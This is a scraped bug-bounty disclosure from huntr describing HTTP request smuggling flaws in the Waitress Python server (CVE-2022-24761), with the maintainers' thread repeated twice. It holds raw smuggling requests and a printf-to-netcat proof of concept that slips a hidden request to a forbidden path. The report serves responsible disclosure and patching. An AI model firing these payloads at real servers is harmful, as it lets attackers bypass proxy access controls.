huntr.com Open in urlscan Pro
13.32.99.42  Public Scan

Form analysis
0 forms found in the DOM

Text Content

Open menu
Bounties Community Info

Guidelines

Bounties

FAQ

Hacktivity

Leaderboard

Beginner's Guide

Guidelines

FAQ

Discord

Contact us

SUBMIT REPORT
By logging in you agree to our terms of service.

Logout

Close menu
Bounties
Find your next target
Submission
Submit a report
Hacktivity
Browse public reports
Leaderboard
Top huntrs

--------------------------------------------------------------------------------

Guidelines Beginner's Guide Discord FAQ Contact us
LOGIN*

*by logging in you accept our terms of service.


HTTP REQUEST SMUGGLING IN PYLONS/WAITRESS

0

Valid

Reported on

Mar 10th 2022

--------------------------------------------------------------------------------


SUMMARY

Due to several violations of the HTTP standard as defined in RFC7230, Waitress
is vulnerable to HTTP request smuggling when used with an upstream proxy that
exhibits nonstandard behaviour.

Each issue is explained in the Occurrences section below.


OCCURRENCES

receiver.py L142-L143


OCCURRENCE 2 - ILLEGAL CHARACTERS IN CHUNKED EXTENSIONS

When parsing chunked data, chunked extensions are ignored. Ignoring chunked
extensions is not a bug in itself. The bug lies in the fact that the parser does
not check whether the chunked extension contents conform to the HTTP standard.
According to the RFC, only 0x09, 0x21-0x73 and 0x80-0xff are allowed in this
area.

Consider the following request.

GET / HTTP/1.1\r\n
Transfer-Encoding: chunked\r\n
\r\n
2;\nxx\r\n
4c\r\n
0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n


Notice that an illegal LF (\n) character was added to the chunked extension.
Suppose that a frontend proxy uses LF to delimit lines, instead of a CRLF. The
frontend would see only one request:

GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
 
2
xx
4c
0

GET /admin HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
 
0


However, Waitress sees two requests:

GET / HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
 
2
4c
0

GET /admin HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked
 
0


This attack was possible in a previous vulnerable version of ATS.

The following command (with Waitress running on port 80) shows that Waitress
allows the above PoC and processes both requests.

(printf 'GET / HTTP/1.1\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Host: localhost\r\n\r\n'\
"2;\nxx\r\n"\
'47\r\n'\
'0\r\n'\
'\r\n'\
'GET /forbidden HTTP/1.1\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Host: localhost\r\n\r\n'\
'0\r\n'\
'\r\n'; sleep 1) | nc localhost 80


Similar Issues:

 * llhttp (Node.js) CVE-2021-22960 HTTP Request Smuggling when parsing the body

parser.py L319-L325


OCCURRENCE 1 - 'SIGNED' CONTENT LENGTHS

The content length is not validated for leading + and - signs.

According to RFC7230, the Content-Length field value must be an integer greater
than or equal to zero. Additionally, any sign prefixes are illegal, since only
DIGITs (0-9) are allowed.

Content-Length = 1*DIGIT

...

Any Content-Length field value greater than or equal to zero is valid.


Suppose a frontend proxy silently ignores but forwards an invalid Content-Length
header such as Content-Length: +5 or Content-Length: -5 to Waitress. The
frontend and backend would then disagree on where the request ends. Such
behaviour was found on an older version of ATS (9.1.0).

For instance, in the following request, the frontend sees two requests to /,
while Waitress sees a request to / and another one to /forbidden.

GET / HTTP/1.1
Content-Length: +23

GET / HTTP/1.1
Dummy: GET /forbidden HTTP/1.1




Similar Issues:

 * hyper (Rust) CVE-2021-32715 Lenient Parsing of Content-Length Header When
   Prefixed with Plus Sign

receiver.py L146-L149


OCCURRENCE 3 - 'SIGNED' AND 0X-PREFIXED CHUNK LENGTHS

Waitress accepts chunk sizes with the 0x prefix. This is because Python's int()
constructor allows 0x-prefixed strings when base-16 is specified. Again, the +
and - prefixes are also allowed.

For example, the following is a valid request.

GET / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked

+0x3
abc
0




According to the RFC, chunk sizes should not contain the 0x and sign prefixes.

chunk-size     = 1*HEXDIG


This issue may be relevant if an upstream proxy also exhibits vulnerable
behaviour when parsing chunk lengths, due to deviations from the standard.


REFERENCES

 * RFC7230 - HTTP
 * More information on HTTP request smuggling

We are processing your report and will contact the pylons/waitress team within
24 hours. 2 years ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md 2 years
ago
Zhang Zeyu
commented 2 years ago

Researcher

--------------------------------------------------------------------------------

Thanks, @admin. Seems like they can be contacted via
pylons-project-security@googlegroups.com.

We have contacted a member of the pylons/waitress team and are waiting to hear
back 2 years ago
Jamie Slome
commented 2 years ago

Admin

--------------------------------------------------------------------------------

Sorted! ♥️

Zhang Zeyu modified the report
2 years ago
A pylons/waitress maintainer
commented 2 years ago

Maintainer

--------------------------------------------------------------------------------

This is Bert from the pylons team. We are reviewing and will create the
appropriate fixes as necessary.

This may take a day or two. Thanks for your patience.

A pylons/waitress maintainer validated this vulnerability 2 years ago
zeyu2001 has been awarded the disclosure bounty
The fix bounty is now up for grabs
A pylons/waitress maintainer
commented 2 years ago

Maintainer

--------------------------------------------------------------------------------

@admin I was not aware that you all would assign a CVE, so there may be an
overlap here with the one that Github assigns. Let me know how you'd like to
handle that.

Zhang Zeyu
commented 2 years ago

Researcher

--------------------------------------------------------------------------------

Thanks a lot!

Jamie Slome
commented 2 years ago

Admin

--------------------------------------------------------------------------------

@maintainer - a CVE will not be assigned here. You are welcome to proceed with
confirming the fix.

If you provide me with the CVE ID, I can assign it to this report 👍

A pylons/waitress maintainer
commented 2 years ago

Maintainer

--------------------------------------------------------------------------------

@admin GitHub has issued CVE-2022-24761 for the report. I'm hoping to land the
fix within the next day.

Jamie Slome
commented 2 years ago

Admin

--------------------------------------------------------------------------------

CVE added to the report 👍 Once you have committed and pushed your fix, feel
free to confirm fix!

We have sent a fix follow up to the pylons/waitress team. We will try again in 7
days. 2 years ago
A pylons/waitress maintainer marked this as fixed in 2.1.1 with commit 9e0b8c 2
years ago
The fix bounty has been dropped
receiver.py#L142-L143 has been validated
receiver.py#L146-L149 has been validated
parser.py#L319-L325 has been validated
Sign in to join this conversation
CVE

CVE-2022-24761 (published)
Vulnerability Type
CWE-444: HTTP Request Smuggling
Severity
High (7.3)
Attack vector Network
Attack complexity Low
Privileged required None
User interaction None
Scope Unchanged
Confidentiality Low
Integrity Low
Availability Low
Open in visual CVSS calculator
Visibility
Public
Status
Fixed

Found by

Zhang Zeyu
@zeyu2001
MIDDLEWEIGHT

This report was seen 822 times.
We are processing your report and will contact the pylons/waitress team within
24 hours. 2 years ago
We created a GitHub Issue asking the maintainers to create a SECURITY.md 2 years
ago
Zhang Zeyu
commented 2 years ago

Researcher

--------------------------------------------------------------------------------

Thanks, @admin. Seems like they can be contacted via
pylons-project-security@googlegroups.com.

We have contacted a member of the pylons/waitress team and are waiting to hear
back 2 years ago
Jamie Slome
commented 2 years ago

Admin

--------------------------------------------------------------------------------

Sorted! ♥️

Zhang Zeyu modified the report
2 years ago
A pylons/waitress maintainer
commented 2 years ago

Maintainer

--------------------------------------------------------------------------------

This is Bert from the pylons team. We are reviewing and will create the
appropriate fixes as necessary.

This may take a day or two. Thanks for your patience.

A pylons/waitress maintainer validated this vulnerability 2 years ago
zeyu2001 has been awarded the disclosure bounty
The fix bounty is now up for grabs
A pylons/waitress maintainer
commented 2 years ago

Maintainer

--------------------------------------------------------------------------------

@admin I was not aware that you all would assign a CVE, so there may be an
overlap here with the one that Github assigns. Let me know how you'd like to
handle that.

Zhang Zeyu
commented 2 years ago

Researcher

--------------------------------------------------------------------------------

Thanks a lot!

Jamie Slome
commented 2 years ago

Admin

--------------------------------------------------------------------------------

@maintainer - a CVE will not be assigned here. You are welcome to proceed with
confirming the fix.

If you provide me with the CVE ID, I can assign it to this report 👍

A pylons/waitress maintainer
commented 2 years ago

Maintainer

--------------------------------------------------------------------------------

@admin GitHub has issued CVE-2022-24761 for the report. I'm hoping to land the
fix within the next day.

Jamie Slome
commented 2 years ago

Admin

--------------------------------------------------------------------------------

CVE added to the report 👍 Once you have committed and pushed your fix, feel
free to confirm fix!

We have sent a fix follow up to the pylons/waitress team. We will try again in 7
days. 2 years ago
A pylons/waitress maintainer marked this as fixed in 2.1.1 with commit 9e0b8c 2
years ago
The fix bounty has been dropped
receiver.py#L142-L143 has been validated
receiver.py#L146-L149 has been validated
parser.py#L319-L325 has been validated
Sign in to join this conversation


COOKIES

We use minimal analytics to optimise your website experience.

Reject Manage Cookies Accept

Supported by Protect AI, and leading the way to MLSecOps and greater AI
security.



© 2023 The MLSecOps Community

Privacy Policy Terms of Service Contact Us